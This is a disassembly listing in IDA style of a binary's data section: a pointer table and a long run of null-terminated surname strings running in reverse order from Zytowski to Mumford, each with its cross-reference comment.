dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o
align 10h
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co
align 4
aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o
align 10h
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o
aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o
align 10h
aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co
aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co
aYu db 'Yu',0 ; DATA XREF: ___:0042E808o
align 10h
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o
align 4
aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o
align 10h
aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo
align 4
aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o
align 10h
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o
aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o
align 10h
aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o
align 10h
aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo
align 10h
aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o
align 4
aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o
align 10h
aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo
align 10h
aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o
align 4
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o
align 10h
aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo
align 10h
aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co
align 4
aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o
aViens db 'Viens',0 ; DATA XREF: ___:0042E784o
align 4
aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co
aViano db 'Viano',0 ; DATA XREF: ___:0042E778o
align 4
aViana db 'Viana',0 ; DATA XREF: ___:0042E774o
align 10h
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042E768o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o
aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o
align 4
aVenne db 'Venne',0 ; DATA XREF: ___:0042E750o
align 10h
aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o
align 10h
aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o
align 4
aVelasquez db 'Velasquez',0
align 4
aWeissman db 'Weissman',0
align 10h
aWeissbourd db 'Weissbourd',0
align 4
aWeinhaus db 'Weinhaus',0
align 4
aWeingarten db 'Weingarten',0
align 4
aWeighart db 'Weighart',0
align 10h
aWaugh db 'Waugh',0
align 4
aVasquez db 'Vasquez',0
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o
aVanallen db 'vanAllen',0
align 4
aWalter db 'Walter',0
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o
align 4
aWales db 'Wales',0 ; DATA XREF: ___:0042E700o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo
align 10h
aValberg db 'Valberg',0
aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o
align 10h
aVacca db 'Vacca',0
align 4
aUzuner db 'Uzuner',0
align 10h
aUsdan db 'Usdan',0
align 4
aUrdangBrown db 'Urdang-Brown',0
align 4
aUrban db 'Urban',0
align 10h
aUpsdell db 'Upsdell',0
aUntermeyer db 'Untermeyer',0
align 4
aUllman db 'Ullman',0
align 4
aTzamarias db 'Tzamarias',0
align 4
aTwells db 'Twells',0
align 10h
aTuttle db 'Tuttle',0
align 4
aTurek db 'Turek',0
align 10h
aTurano db 'Turano',0
align 4
aTukan db 'Tukan',0
align 10h
aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o
align 4
aTuck db 'Tuck',0
align 10h
aTsukurov db 'Tsukurov',0
align 4
aTsomides db 'Tsomides',0
align 4
aTsiatis db 'Tsiatis',0
aTruss db 'Truss',0
align 4
aTroy db 'Troy',0
align 10h
aTroiani db 'Troiani',0
aTringali db 'Tringali',0
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co
align 10h
aToye db 'Toye',0 ; DATA XREF: ___:0042E688o
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o
align 10h
aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o
aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o
align 10h
aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co
align 10h
aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o
align 10h
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co
aTill db 'Till',0 ; DATA XREF: ___:0042E658o
align 10h
aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o
aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o
align 10h
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co
aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o
aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042E638o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o
align 10h
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o
align 10h
aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co
align 4
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o
aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o
align 4
aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042E600o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o
align 10h
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo
align 4
aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o
aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o
align 10h
aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo
align 4
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o
aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o
aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo
align 4
aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o
align 10h
aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo
align 10h
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co
aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o
align 4
aStates db 'States',0 ; DATA XREF: ___:0042E590o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co
align 4
aStang db 'Stang',0 ; DATA XREF: ___:0042E588o
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042E584o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co
align 10h
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co
align 4
aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o
aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co
align 10h
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o
align 4
aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o
align 4
aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o
align 4
aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co
align 10h
aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o
align 10h
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o
align 4
aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co
align 10h
aSites db 'Sites',0 ; DATA XREF: ___:0042E508o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo
align 4
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o
align 4
aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o
align 4
aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o
aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo
align 4
aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o
align 10h
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo
align 4
aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o
align 10h
aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo
aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o
aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo
align 10h
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o
aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o
aSen db 'Sen',0 ; DATA XREF: ___:0042E494o
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co
align 10h
aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o
align 10h
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co
aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co
align 4
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o
aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o
align 10h
aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co
align 4
aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042E424o
align 4
aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co
align 4
aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o
aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042E408o
align 4
aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o
align 4
aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o
aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o
align 4
aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o
align 10h
aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo
align 4
aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o
aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo
aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o
align 10h
aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o
align 10h
aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo
align 4
aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o
aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co
align 4
aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o
aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co
align 4
aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co
align 10h
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o
align 10h
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co
align 10h
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o
aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o
align 10h
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o
aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o
aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co
aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o
align 4
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co
align 10h
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co
align 4
aPo db 'Po',0 ; DATA XREF: ___:0042E308o
align 4
aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o
align 10h
aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o
align 4
aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o
align 10h
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo
align 10h
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o
align 10h
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E284o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o
align 10h
aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o
align 4
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o
align 10h
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o
align 10h
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o
aOray db 'Oray',0 ; DATA XREF: ___:0042E234o
align 4
aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o
align 10h
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co
aOman db 'Oman',0 ; DATA XREF: ___:0042E228o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co
align 10h
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o
align 4
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o
aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co
align 4
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o
align 10h
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo
align 4
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o
align 10h
aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o
align 4
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o
align 4
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o
align 10h
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo
